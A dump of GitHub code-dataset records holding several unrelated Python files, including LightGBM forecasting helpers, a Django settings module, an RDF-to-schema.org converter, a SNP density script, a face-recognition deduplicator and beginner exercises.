\"_metrics_val.pickle\")\n\n\ndef get_chronological_train_val_split(data, fold=1, num_folds=5, verbose=True):\n # get chronological train/val split\n # fold 1 has the final 376 validation days\n # fold 2 has days -752:-376, etc.\n\n # setup\n # substract one second to include first day in validation set of fold 5\n day_start = data.date.min() - pd.Timedelta(seconds=1)\n day_end = data.date.max()\n num_days = day_end - day_start\n num_days_val = (num_days / num_folds)\n\n # select validation set\n val_start = day_end - fold * num_days_val\n val_end = day_end - (fold - 1) * num_days_val\n\n print(\"Selecing validation days between {} and {}\".format(val_start, val_end)) if verbose else None\n\n # split\n val_mask = (data.date > val_start) & (data.date <= val_end)\n train = data[~val_mask]\n val = data[val_mask]\n\n return train, val\n\n\ndef get_train_val_slit(level, fold, prediction_lag=28, augment_events=False, verbose=True):\n # read data\n data, features, available_cat_features = read_and_preprocess_data(level=level, verbose=verbose,\n prediction_lag=prediction_lag,\n augment_events=augment_events)\n\n # leave final days alone\n test = data[data['date'] > '2016-03-27']\n data = data[data['date'] <= '2016-03-27']\n\n # chronological train / val split\n train, val = get_chronological_train_val_split(data, fold=fold, verbose=verbose)\n\n return train, val, test, features\n\n\ndef train_lightgbm_model(level, fold=1, params={}, model_dir='models/uncertainty/',\n prediction_lag=28,\n model_name=\"lightgbm\", augment_events=False, verbose=True,\n num_boost_round=2500, early_stopping_rounds=50, verbose_eval=50):\n # only require lightgbm to be installed when calling this function\n import lightgbm as lgb\n\n # read data\n train, val, test, features = get_train_val_slit(level, fold, augment_events=augment_events,\n prediction_lag=prediction_lag)\n\n # make lgb datasets\n labels = ['demand']\n train_set = lgb.Dataset(train[features], train[labels])\n val_set = lgb.Dataset(val[features], val[labels])\n\n # cleanup memory\n del train\n gc.collect()\n\n # perform training\n evals_result = {} # to record eval results for plotting\n model = lgb.train(params, train_set, num_boost_round=num_boost_round, early_stopping_rounds=early_stopping_rounds,\n valid_sets=[val_set], verbose_eval=verbose_eval, # fobj=\"mae\",#feval = \"mae\",\n evals_result=evals_result)\n\n model.save_model(model_dir + model_name + \"-level{}-lag{}-fold{}.txt\".format(level, prediction_lag, fold))\n ax = lgb.plot_metric(evals_result, metric='l1')\n plt.show()\n\n return model, evals_result, val\n\n\ndef lightgbm_pred_to_df(y_pred, df):\n ids = df['id'].unique()\n day_start = np.datetime64(df.date.min().date())\n day_end = np.datetime64(df.date.max().date())\n num_days = (day_end - day_start + 1).astype(int)\n\n y_pred_df = pd.DataFrame.from_dict({\n 'id': np.repeat(ids, num_days),\n 'date': np.tile(np.arange(day_start, day_end + 1), len(ids)),\n 'lgb_pred': y_pred,\n 'demand': df['demand'].values,\n })\n # y_pred_df['item_id'] = y_pred_df['id'].map(lambda x: '_'.join(x.split('_')[0:3]))\n # y_pred_df['dept_id'] = y_pred_df['id'].map(lambda x: '_'.join(x.split('_')[0:2]))\n # y_pred_df['cat_id'] = y_pred_df['id'].map(lambda x: '_'.join(x.split('_')[0:1]))\n # y_pred_df['store_id'] = y_pred_df['id'].map(lambda x: '_'.join(x.split('_')[3:5]))\n # y_pred_df['state_id'] = y_pred_df['id'].map(lambda x: '_'.join(x.split('_')[3:4]))\n\n return y_pred_df\n\n\ndef plot_lgb_metrics(evals_result, title):\n score = evals_result['valid_0']['l1']\n f, ax = plt.subplots(1, 1, figsize=(12, 4))\n ax.plot(score)\n ax.set_xlabel(\"Iteration\")\n ax.set_ylabel(\"L1 loss\")\n ax.set_title(title)\n ax.set_xlim(0)\n ax.text(0.95, 0.95, \"Best val. score: {:.5f}\".format(min(score)),\n ha='right', va='top', transform=ax.transAxes)\n plt.show()\n\n\ndef plot_result_list(result_list, title_list):\n for evals_result, title in zip(result_list, title_list):\n plot_lgb_metrics(evals_result, title)\n","repo_name":"joeranbosma/M5Forecast","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":32177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"37812655799","text":"import os\nfrom decouple import config\n\nBASE_DIR = os.path.dirname(os.path.dirname(\n os.path.dirname(os.path.abspath(__file__))))\nDEBUG = True\nALLOWED_HOSTS = ['*']\n\nSECRET_KEY = config('SECRET_KEY')\n# own\nEMAIL_BACKEND = config('EMAIL_BACKEND')\nEMAIL_HOST = config('EMAIL_HOST')\nEMAIL_USE_TLS = config('EMAIL_USE_TLS')\nEMAIL_PORT = config('EMAIL_PORT')\nEMAIL_HOST_USER = config('EMAIL_HOST_USER')\nEMAIL_HOST_PASSWORD = config('EMAIL_HOST_PASSWORD')\nSTRIPE_PUBLIC_KEY = config('STRIPE_TEST_PUBLIC_KEY')\nSTRIPE_SECRET_KEY = config('STRIPE_TEST_SECRET_KEY')\n\nTWILIO_ACCOUNT_SID = config('TWILIO_ACCOUNT_SID')\nTWILIO_AUTH_TOKEN = config('TWILIO_AUTH_TOKEN')\nTWILIO_FROM_NUMBER = config('TWILIO_FROM_NUMBER')\n\nSITE_ID = 1\n\nINSTALLED_APPS = [\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n\n 'django.contrib.sites',\n 'allauth',\n 'allauth.account',\n 'allauth.socialaccount',\n 'corsheaders',\n 'rest_auth',\n 'rest_auth.registration',\n 'rest_framework',\n 'rest_framework.authtoken',\n 'core',\n 'userapp',\n # for social login\n 'allauth.socialaccount.providers.google',\n 'allauth.socialaccount.providers.github',\n 'razorpay',\n]\n\nMIDDLEWARE = [\n 'corsheaders.middleware.CorsMiddleware',\n 'django.middleware.security.SecurityMiddleware',\n 'whitenoise.middleware.WhiteNoiseMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nROOT_URLCONF = 'home.urls'\nCORS_ORIGIN_ALLOW_ALL = True\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [os.path.join(BASE_DIR, 'build')],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\nLANGUAGE_CODE = 'en-us'\nTIME_ZONE = 'UTC'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\nSTATIC_URL = '/static/'\nMEDIA_URL = '/media/'\nSTATICFILES_DIRS = [os.path.join(BASE_DIR, 'build/static')]\nSTATIC_ROOT = os.path.join(BASE_DIR, 'static')\nMEDIA_ROOT = os.path.join(BASE_DIR, 'media')\n\nREST_FRAMEWORK = {\n 'DEFAULT_PERMISSION_CLASSES': (\n 'rest_framework.permissions.AllowAny',\n ),\n 'DEFAULT_AUTHENTICATION_CLASSES': (\n 'rest_framework.authentication.TokenAuthentication',\n ),\n 'USER_DETAILS_SERIALIZER': 'userapp.serializer.UserDetailsSerializer'\n}\n\nAUTH_USER_MODEL = 'userapp.User'\nACCOUNT_EMAIL_REQUIRED = False\n","repo_name":"nikitabansal711/ShopNow","sub_path":"home/settings/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"31442671145","text":"from __future__ import print_function\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\n\ndef plot(Feature, Label, F_Feature, Attribute, name):\n num_positive = len(Label.nonzero()[0])\n num_negative = len(Label) - num_positive\n size = Feature.shape\n num_feature = size[1]\n Positive_Feature = np.ones((num_positive, num_feature))\n Negative_Feature = np.ones((num_negative, num_feature))\n i_p = 0\n i_n = 0\n for i_l in range(size[0]):\n if Label[i_l] == 1:\n Positive_Feature[i_p,:] = Feature[i_l,:]\n i_p += 1\n else:\n Negative_Feature[i_n,:] = Feature[i_l,:]\n i_n += 1\n\n start_index = size[0]-1\n S_Feature = F_Feature[start_index:,:]\n\n l = len(Attribute)\n for i in range(0, l):\n for j in range(i+1, l):\n x_index = Attribute[i]\n y_index = Attribute[j]\n fig = plt.figure()\n plt.scatter(Negative_Feature[:,x_index], Negative_Feature[:,y_index], marker = 'o', color = '#539caf', label='1', s = 6, alpha=0.6)\n plt.scatter(Positive_Feature[:,x_index], Positive_Feature[:,y_index], marker = '+', color = 'r', label='2', s = 50)\n plt.scatter(S_Feature[:, x_index], S_Feature[:, y_index], marker='^', color='rebeccapurple', label='1', s=3, alpha=0.3)\n File_name = \"Scatter_Plot_of_\" + name + \"_the_\" + str(i) + \"_and_\" + str(j) + \"_Feature.png\"\n fig.savefig(File_name)\n\n\n","repo_name":"Autumnn/ReSampling","sub_path":"Two_D_Scatter_Plot.py","file_name":"Two_D_Scatter_Plot.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72493363949","text":"from celery.task import task\nfrom celery.task.sets import TaskSet\nfrom ummeli.vlive.jobs.parser import PageParser\n\nclass CategoryParser(PageParser):\n def __init__(self, search_id, url = None, html_str = None):\n self.search_id = search_id\n if url:\n self.raw_url = url\n super(CategoryParser, self).__init__(url = url % {'path': '', 'id': search_id})\n else:\n super(CategoryParser, self).__init__(html_str = html_str)\n \n def parse(self):\n doc = self.get_document()\n links = doc.xpath('.//n:tr/*/n:a', namespaces={'n':'http://www.w3.org/1999/xhtml'})\n \n list = [\n (self.raw_url % {'path': '/' + ''.join(link.xpath('./@href')), 'id': self.search_id}, \n ''.join(link.xpath('./*/text()')))\n for link in links]\n return list\n \nclass JobsParser(PageParser):\n def parse(self):\n doc = self.get_document()\n rows = doc.xpath('.//n:tr', namespaces={'n':'http://www.w3.org/1999/xhtml'})\n list = []\n for row in rows:\n fonts = row.xpath('.//n:font', namespaces={'n':'http://www.w3.org/1999/xhtml'})\n if len(fonts) == 3:\n data = [(' '.join(d.xpath('./text()'))).encode('ascii', 'ignore') for d in fonts]\n list.append(data)\n return list\n","repo_name":"praekelt/ummeli","sub_path":"ummeli/vlive/jobs/parsers.py","file_name":"parsers.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"46200546384","text":"import rdflib\nfrom rdflib import URIRef, BNode, Literal\nfrom rdflib.namespace import Namespace, RDF, RDFS, DCTERMS, XSD\n\nfrom odpw.core import dataset_converter\n\nimport json\n\nDCAT = Namespace(\"http://www.w3.org/ns/dcat#\")\nFOAF = Namespace(\"http://xmlns.com/foaf/0.1/\")\nVCARD = Namespace(\"http://www.w3.org/2006/vcard/ns#\")\n\n# https://www.w3.org/2015/spatial/wiki/ISO_19115_-_DCAT_-_Schema.org_mapping\n\ndef resp_party(g, doc, orga):\n if isinstance(orga, URIRef) and '@id' not in doc:\n doc['@id'] = str(orga)\n for p, o in g.predicate_objects(orga):\n if 'name' not in doc:\n if p == FOAF.name:\n doc['name'] = str(o)\n elif p == VCARD.fn:\n doc['name'] = str(o)\n elif p == VCARD['organization-name']:\n doc['name'] = str(o)\n if 'email' not in doc:\n if p == FOAF.mbox:\n doc['email'] = str(o)\n elif p == VCARD.hasEmail:\n doc['email'] = str(o)\n if 'url' not in doc:\n if p == FOAF.homepage:\n doc['url'] = str(o)\n elif p == VCARD.hasURL:\n doc['url'] = str(o)\n return doc\n\n\ndef convert(portal, data):\n g = rdflib.Graph()\n # write dcat dataset into graph\n dataset_converter.dict_to_dcat(data, portal, graph=g)\n\n ds_id = g.value(predicate=RDF.type, object=DCAT.Dataset)\n doc = {\n \"@context\": \"http://schema.org\",\n \"@type\": \"Dataset\",\n \"@id\": str(ds_id),\n \"catalog\": {\n \"@type\": \"DataCatalog\",\n \"@id\": portal.uri,\n \"url\": portal.uri,\n \"spatialCoverage\": portal.iso,\n \"description\": \"Underlying software: \" + portal.software\n }\n }\n # organization\n if (ds_id, DCTERMS.publisher, None) in g:\n pub = {\n \"@type\": \"Organization\"\n }\n orga = g.value(ds_id, DCTERMS.publisher)\n resp_party(g, pub, orga)\n # contact point\n if (ds_id, DCAT.contactPoint, None) in g:\n orga = g.value(ds_id, DCAT.contactPoint)\n resp_party(g, pub, orga)\n doc['publisher'] = pub\n\n # general fields\n if (ds_id, DCTERMS.title, None) in g:\n doc[\"name\"] = str(g.value(ds_id, DCTERMS.title))\n if (ds_id, DCTERMS.description, None) in g:\n doc[\"description\"] = str(g.value(ds_id, DCTERMS.description))\n if (ds_id, DCAT.landingPage, None) in g:\n doc[\"url\"] = str(g.value(ds_id, DCTERMS.landingPage))\n if (ds_id, DCTERMS.spatial, None) in g:\n doc[\"spatialCoverage\"] = str(g.value(ds_id, DCTERMS.spatial))\n if (ds_id, DCTERMS.temporal, None) in g:\n doc[\"datasetTimeInterval\"] = str(g.value(ds_id, DCTERMS.temporal))\n if (ds_id, DCAT.theme, None) in g:\n doc[\"about\"] = str(g.value(ds_id, DCAT.theme))\n if (ds_id, DCTERMS.modified, None) in g:\n doc[\"dateModified\"] = str(g.value(ds_id, DCTERMS.modified))\n if (ds_id, DCTERMS.issued, None) in g:\n doc[\"datePublished\"] = str(g.value(ds_id, DCTERMS.issued))\n if (ds_id, DCTERMS.language, None) in g:\n doc[\"inLanguage\"] = str(g.value(ds_id, DCTERMS.language))\n\n if (ds_id, DCAT.keyword, None) in g:\n doc[\"keywords\"] = []\n for keyword in g.objects(ds_id, DCAT.keyword):\n doc[\"keywords\"].append(str(keyword))\n\n doc[\"distribution\"] = []\n for dist_id in g.objects(ds_id, DCAT.distribution):\n dist = {\n \"@type\": \"DataDownload\",\n \"@id\": str(dist_id)\n }\n\n if (dist_id, DCTERMS.title, None) in g:\n dist[\"name\"] = str(g.value(dist_id, DCTERMS.title))\n if (dist_id, DCTERMS.description, None) in g:\n dist[\"description\"] = str(g.value(dist_id, DCTERMS.description))\n if (dist_id, DCTERMS.modified, None) in g:\n dist[\"dateModified\"] = str(g.value(dist_id, DCTERMS.modified))\n if (dist_id, DCTERMS.issued, None) in g:\n dist[\"datePublished\"] = str(g.value(dist_id, DCTERMS.issued))\n if (dist_id, DCTERMS['format'], None) in g:\n dist[\"encodingFormat\"] = str(g.value(dist_id, DCTERMS['format']))\n if (dist_id, DCAT.byteSize, None) in g:\n dist[\"contentSize\"] = str(g.value(dist_id, DCAT.byteSize))\n if (dist_id, DCAT.mediaType, None) in g:\n dist[\"fileFormat\"] = str(g.value(dist_id, DCAT.mediaType))\n\n if (dist_id, DCAT.accessURL, None) in g:\n dist[\"contentUrl\"] = str(g.value(dist_id, DCAT.accessURL))\n elif (dist_id, DCAT.downloadURL, None) in g:\n dist[\"contentUrl\"] = str(g.value(dist_id, DCAT.downloadURL))\n\n if (dist_id, DCTERMS.license, None) in g:\n l = g.value(dist_id, DCTERMS.license)\n if isinstance(l, BNode):\n # look for description\n if (l, RDFS.label, None) in g:\n dist[\"license\"] = str(g.value(l, RDFS.label))\n elif (l, DCTERMS.identifier, None) in g:\n dist[\"license\"] = str(g.value(l, DCTERMS.identifier))\n else:\n dist[\"license\"] = str(l)\n doc[\"distribution\"].append(dist)\n\n return doc","repo_name":"ADEQUATeDQ/portalmonitor","sub_path":"schemadotorg/dcat_to_schemadotorg.py","file_name":"dcat_to_schemadotorg.py","file_ext":"py","file_size_in_byte":5154,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"38"} +{"seq_id":"22985354276","text":"def gift_inschrijven(klas, totaal):\n\n\n bedrag = klas[1]\n bedrag = float(bedrag)\n klas = klas[0]\n n = 0\n\n for k in totaal:\n if k == klas:\n bedrag2 = totaal[k]\n bedrag2 = float(bedrag2)\n bedrag += bedrag2\n totaal[k] = bedrag\n n = 1\n \n if n == 0:\n totaal[klas] = bedrag\n \n return totaal","repo_name":"VerstraeteBert/algos-ds","sub_path":"test/vraag4/src/warmste-week/102.py","file_name":"102.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"nl","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"1919598277","text":"'''\nsnp_density.py - get SNP density in windows and append to LDhelmet file\n'''\n\nimport argparse\nfrom tqdm import tqdm\nfrom cyvcf2 import VCF\nimport csv\nfrom copy import deepcopy\nimport antr\n\ndef args():\n parser = argparse.ArgumentParser(\n description='get SNP density in windows', \n usage='python3.5 snp_density.py [options]')\n\n parser.add_argument('-f', '--filename', required=True,\n type=str, help='LDhelmet file (summarised in 2kb windows)')\n parser.add_argument('-v', '--vcf', required=True,\n type=str, help='VCF (.vcf.gz)')\n parser.add_argument('-c', '--chrom', required=True,\n type=str, help='Chromosome')\n parser.add_argument('-t', '--table', required=True,\n type=str, help='Annotation table')\n parser.add_argument('-l', '--lookup', required=False,\n type=str, help='Lookup string (if exists)')\n parser.add_argument('-o', '--outfile', required=True,\n type=str, help='File to write to')\n\n args = parser.parse_args()\n\n return args.filename, args.vcf, args.chrom, args.table, args.lookup, args.outfile\n\ndef create_lookup(table, chrom):\n ''' (str, str) -> str\n uses annotation table to create a lookup string for all sites\n\n modified from rcmb_correlates.py\n\n i: intergenic\n c: cds\n n: intron\n 5: utr5\n 3: utr3\n N: unknown\n '''\n\n p = antr.Reader(table)\n lookup_string = ''\n start = next(p.fetch(chrom)).pos\n if start > 1:\n for i in range(0, start):\n lookup_string += 'N'\n\n for rec in tqdm(p.fetch(chrom)):\n if rec.is_intergenic:\n lookup_string += 'i'\n elif rec.is_in_CDS:\n lookup_string += 'c'\n elif rec.is_intronic:\n lookup_string += 'n'\n elif rec.is_utr5:\n lookup_string += '5'\n elif rec.is_utr3:\n lookup_string += '3'\n else:\n lookup_string += 'N'\n\n with open(chrom + '_temp_lookup', 'w') as f:\n f.write(lookup_string)\n\n return lookup_string\n\ndef count_annotations(lookup_string, start, end):\n ''' (str, int, int) -> dict\n uses lookup string to return annotation counts in window\n '''\n snippet = lookup_string[start:end]\n ant_dict = dict.fromkeys(['i', 'c', 'n', '5', '3', 'N'], 0)\n for ant in ant_dict:\n ant_dict[ant] = snippet.count(ant)\n\n return ant_dict\n \n\ndef count_window(vcf, chrom, start, end):\n ''' (str, str, int, int) -> int\n helper function for get_density that counts SNPs\n in a given window\n '''\n v = VCF(vcf)\n region = '{chrom}:{start}-{end}'.format(chrom=chrom, start=start, end=end)\n snp_count = len([record for record in v.__call__(region)])\n return snp_count\n\n\ndef get_density(filename, vcf, chrom, lookup_string, outfile):\n ''' (str, str, str, str) -> None\n iterates through summarised LDhelmet infile and appends\n columns containing SNP count and SNP density\n\n assumes VCF is pre-filtered and only contains SNPs - should\n be using the same filtered SNP-only VCF that was used for\n LDhelmet input anyways\n '''\n with open(filename, 'r', newline='') as f_in:\n reader = csv.DictReader(f_in)\n fieldnames = reader.fieldnames\n\n with open(outfile, 'w', newline='') as f_out:\n fieldnames.extend(['snp_count', 'snp_density'])\n fieldnames.extend([ant + '_count' for ant in ['i', 'c', 'n', '5',\n '3', 'N']])\n writer = csv.DictWriter(f_out, fieldnames=fieldnames)\n writer.writeheader()\n\n for line in tqdm(reader):\n start, end = int(line['block_start']), int(line['block_end'])\n window_size = end - start\n snp_count = count_window(vcf, chrom, start, end)\n snp_density = snp_count / window_size\n ant_dict = count_annotations(lookup_string, start, end)\n\n line_out = deepcopy(line)\n line_out['snp_count'] = snp_count\n line_out['snp_density'] = snp_density\n for ant in ant_dict:\n line_out[ant + '_count'] = str(ant_dict[ant])\n\n writer.writerow(line_out)\n\n\ndef main():\n filename, vcf, chrom, table, lookup, outfile = args()\n if not lookup:\n print('Generating lookup string...')\n lookup_string = create_lookup(table, chrom)\n elif lookup:\n with open(lookup, 'r') as f:\n lookup_string = f.read().strip()\n print('SNP density and annotation counts for {chrom}'.format(chrom=chrom))\n # https://stackoverflow.com/questions/845058/how-to-get-line-count-of-a-large-file-cheaply-in-python\n line_count = sum(1 for line in open(filename))\n print('There are {l} lines in the file.'.format(l=line_count))\n get_density(filename, vcf, chrom, lookup_string, outfile)\n print('Done.')\n\nif __name__ == '__main__':\n main()\n\n \n\n","repo_name":"aays/reinhardtii-ld-rcmb","sub_path":"analysis/correlates/snp_density.py","file_name":"snp_density.py","file_ext":"py","file_size_in_byte":4984,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"12479892836","text":"import cv2\nimport face_recognition as fr\nimport os\nfrom datetime import datetime\n\ndef collect_imgs(directory):\n\timgs = []\n\tfor file in os.listdir(directory):\n\t\tif(file.lower().endswith(('.png', '.jpg', '.jpeg', '.tiff', '.bmp', '.gif'))):\n\t\t\tpath = os.path.join(directory, file)\n\t\t\timgs.append(path);\n\treturn imgs\n\nduplicates = []\nencoded = []\nstart_time = datetime.now()\nimages = collect_imgs('./native_american_male/')\nnum = 1\nfor image in range(len(images)):\n load_and_enc = datetime.now()\n imgAng = fr.load_image_file(images[image])\n fLoc = fr.face_locations(imgAng)[0]\n encodeAng = fr.face_encodings(imgAng)[0]\n encoded.append(encodeAng)\n finish_load_and_enc = datetime.now()\n print(f\"Finished loading image {num} in {finish_load_and_enc - load_and_enc}\")\n num+=1\n\nprint(f\"done in {datetime.now() - start_time}\")\nfor i1 in range(len(encoded)):\n try:\n img1 = encoded[i1]\n # print(image1)\n for i2 in range(i1 + 1, len(encoded)):\n img2 = encoded[i2]\n result = fr.compare_faces([img1],img2)\n faceDist = fr.face_distance([img1],img2)\n if(result[0]):\n duplicates.append([img1,img2])\n except:\n pass\nend_time = datetime.now()\nprint(duplicates)\nprint(f\"check duplicates {end_time - start_time}\")\n","repo_name":"Zalego-development/deduplicator","sub_path":"facerec_mod.py","file_name":"facerec_mod.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"44036611019","text":"from django.db import models\n\n# Create your models here.\nclass RatedModel(models.Model):\n name = models.CharField(max_length=200)\n publish_date = models.DateField(max_length=200)\n\nclass Attribute(models.Model):\n name = models.CharField(max_length=200)\n score = models.DecimalField(max_digits=2, decimal_places=1)\n rated_model = models.ForeignKey(RatedModel, null=True)\n\nclass RatedObject(models.Model):\n name = models.CharField(max_length=200)\n publish_date = models.DateField(max_length=200)\n rated_model = models.ForeignKey(RatedModel, null=True)","repo_name":"jhwj9617/Mukmuks","sub_path":"mukmuks/myproject/models/ratedmodel.py","file_name":"ratedmodel.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"18112704321","text":"import time as t\nfrom selenium import webdriver\nimport pytest\n\n\n@pytest.fixture\ndef background():\n\n global driver\n\n driver = webdriver.Remote(\n command_executor=\"https://0.0.0.0:8080/wd/hub\",\n desired_capabilities={\"browserName\": \"chrome\", \"javascriptEnabled\": True},\n )\n driver.get(\"https://google.ae\")\n yield\n driver.close()\n driver.quit()\n\n\n@pytest.mark.usefixtures(\"background\")\nclass TestClass:\n def test_demo(self):\n driver.find_element_by_css_selector('[aria-label=\"Search\"]').send_keys(\n \"Jesus is coming soon!\"\n )\n t.sleep(5)\n","repo_name":"prashanth-sams/pytest-html-reporter","sub_path":"tests/functional/test_selenium.py","file_name":"test_selenium.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":104,"dataset":"github-code","pt":"38"} +{"seq_id":"26132619307","text":"#numero 01\r\nprint(\"Ejercicio Numero 01: \")\r\ndef secuencia():\r\n\r\n num1=0\r\n total = 1\r\n while num1 != 1:\r\n num1 = int(input(\"Ingrese el numero: \"))\r\n total = total * num1\r\n\r\n print(\"Su resultado es: \" + str(total))\r\n\r\n\r\nsecuencia()\r\n\r\n#numero 02\r\nprint(\"Ejercicio Numero 02: \")\r\nlista = []\r\ncantidad=int (input(\"Con cuantos numeros trabajara: \"))\r\ni=1\r\ntotal=1\r\nwhile(cantidad > 0):\r\n numero = int(input(\"Numero #\" + str(i) + \": \"))\r\n lista.append(numero)\r\n i = i + 1\r\n cantidad = cantidad - 1\r\n total = total * numero\r\n#no pude ingresar el F :(\r\n\r\nprint(\"Lista: \", lista)\r\nprint(total)\r\n\r\n#numero 03\r\nprint(\"Ejercicio Numero 03: \")\r\nlista = []\r\ncantidad=int (input(\"Con cuantos numeros trabajara: \"))\r\nmayor=0\r\ni=1\r\n\r\nwhile(cantidad > 0):\r\n numero = int(input(\"Numero: \" + str(i) + \": \"))\r\n lista.append(numero)\r\n i = i + 1\r\n cantidad = cantidad - 1\r\n\r\n\r\nmayor = max(lista)\r\n\r\nprint(\"Lista: \", lista)\r\nprint(\"Mayor: \", mayor)\r\n\r\n#numero 04\r\ndef fibonacci(contador,n,p1,p2):\r\n var = \"\"\r\n if(contador!=n):\r\n var=fibonacci(contador+1,n,p2,p1+p2)\r\n var=str(p2)+\" \"+var\r\n return var\r\nn = int(input(\"Ingrese el numero a trabajar: \"))\r\nif(n>0):\r\n a=fibonacci(0,(n-1),0,1)\r\n print (\"0 \"+a)\r\n\r\n\r\n\r\n\r\n#numero 06\r\nprint(\"Ejercicio Numero 06: \")\r\nimport math\r\nnum = input(\"Ingrese el numero a trabajar: \")\r\nx = int(num)\r\nfactorial = math.factorial(x)\r\nprint(\"El factorial es: \" , factorial)\r\n","repo_name":"coca22/PHYTON","sub_path":"TiposDeDatos.py","file_name":"TiposDeDatos.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"39856875471","text":"from __future__ import annotations\n\nimport json\nfrom dataclasses import dataclass\nfrom functools import cached_property\nfrom typing import ClassVar, Optional\nfrom uuid import uuid4\n\nfrom cognite.client.data_classes import Event\n\nfrom cognite.powerops.client.shop.data_classes.helpers import str_datetime_to_ms\n\n\n@dataclass\nclass ShopRunEvent:\n \"\"\"\n A cut-down variant of `common.workflow_utils.ShopRun` from\n power-ops-functions repo. This variant has no workflow event and\n no mappings.\n \"\"\"\n\n event_type: ClassVar[str] = \"POWEROPS_PROCESS_REQUESTED\"\n event_subtype: ClassVar[str] = \"POWEROPS_SHOP_RUN\"\n process_type: ClassVar[str] = \"POWEROPS_SHOP_RUN\"\n watercourse: str\n starttime: str\n endtime: str\n timeresolution: Optional[dict[str, int]] = None\n dynamic_minute_offset: Optional[int] = None\n dm_case: Optional[str] = None\n dm_space: Optional[str] = None\n manual_run: bool = False\n\n event_start_time: Optional[int] = None\n event_end_time: Optional[int] = None\n source: Optional[str] = None\n\n def __post_init__(self):\n if self.starttime:\n self.starttime = str(self.starttime)\n self.event_start_time = str_datetime_to_ms(self.starttime)\n if self.endtime:\n self.endtime = str(self.endtime)\n self.event_end_time = str_datetime_to_ms(self.endtime)\n if self.timeresolution:\n self.timeresolution = {str(k): v for k, v in self.timeresolution.items()}\n if self.manual_run:\n self.source = \"manual\"\n\n @cached_property\n def external_id(self) -> str:\n return f\"{self.process_type}_{uuid4()}\"\n\n @property\n def metadata(self) -> dict:\n specific_metadata = {\n \"shop:watercourse\": self.watercourse,\n \"shop:starttime\": self.starttime,\n \"shop:endtime\": self.endtime,\n \"process_type\": self.process_type,\n \"shop:manual_run\": self.manual_run,\n }\n if self.dm_case is not None:\n specific_metadata[\"dm:case\"] = self.dm_case\n if self.dm_space is not None:\n specific_metadata[\"dm:space\"] = self.dm_space\n if self.timeresolution is not None:\n specific_metadata[\"shop:timeresolution\"] = json.dumps(self.timeresolution)\n if self.dynamic_minute_offset is not None:\n specific_metadata[\"shop:dynamic_minute_offset\"] = str(self.dynamic_minute_offset)\n return specific_metadata\n\n def to_dict(self, dataset_id: int) -> dict:\n return {\n \"external_id\": self.external_id,\n \"data_set_id\": dataset_id,\n \"type\": self.event_type,\n \"subtype\": self.event_subtype,\n \"metadata\": self.metadata,\n \"start_time\": self.event_start_time,\n \"end_time\": self.event_end_time,\n \"source\": self.source,\n }\n\n def to_event(self: ShopRunEvent, dataset_id: int) -> Event:\n return Event(**self.to_dict(dataset_id))\n\n @classmethod\n def from_event(cls, event: Event) -> ShopRunEvent:\n instance = ShopRunEvent(\n watercourse=event.metadata[\"shop:watercourse\"],\n starttime=event.metadata[\"shop:starttime\"],\n endtime=event.metadata[\"shop:endtime\"],\n timeresolution=json.loads(event.metadata.get(\"shop:timeresolution\", \"null\")),\n dynamic_minute_offset=event.metadata.get(\"shop:dynamic_minute_offset\"),\n manual_run=event.metadata.get(\"manual_run\", False),\n event_start_time=event.start_time,\n event_end_time=event.end_time,\n source=event.source,\n )\n if event.external_id:\n instance.external_id = event.external_id\n return instance\n","repo_name":"cognitedata/power-ops-sdk","sub_path":"cognite/powerops/client/shop/data_classes/shop_run_event.py","file_name":"shop_run_event.py","file_ext":"py","file_size_in_byte":3743,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"21848570875","text":"from joblib import parallel_backend\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.metrics import accuracy_score\nimport numpy as np\nimport pandas as pd\nimport utils.ressources_utils as mem_utils\nimport analysis.get_data as get_data\n\n\ndef train_and_evaluate(eval_size, frac, max_df, min_df, norm, alpha, nb_label):\n\n # checking parameters dependencies\n # if min_df>max_df:\n # print('---> min_df>=max_df: skipping')\n # return None, 0.0\n # if 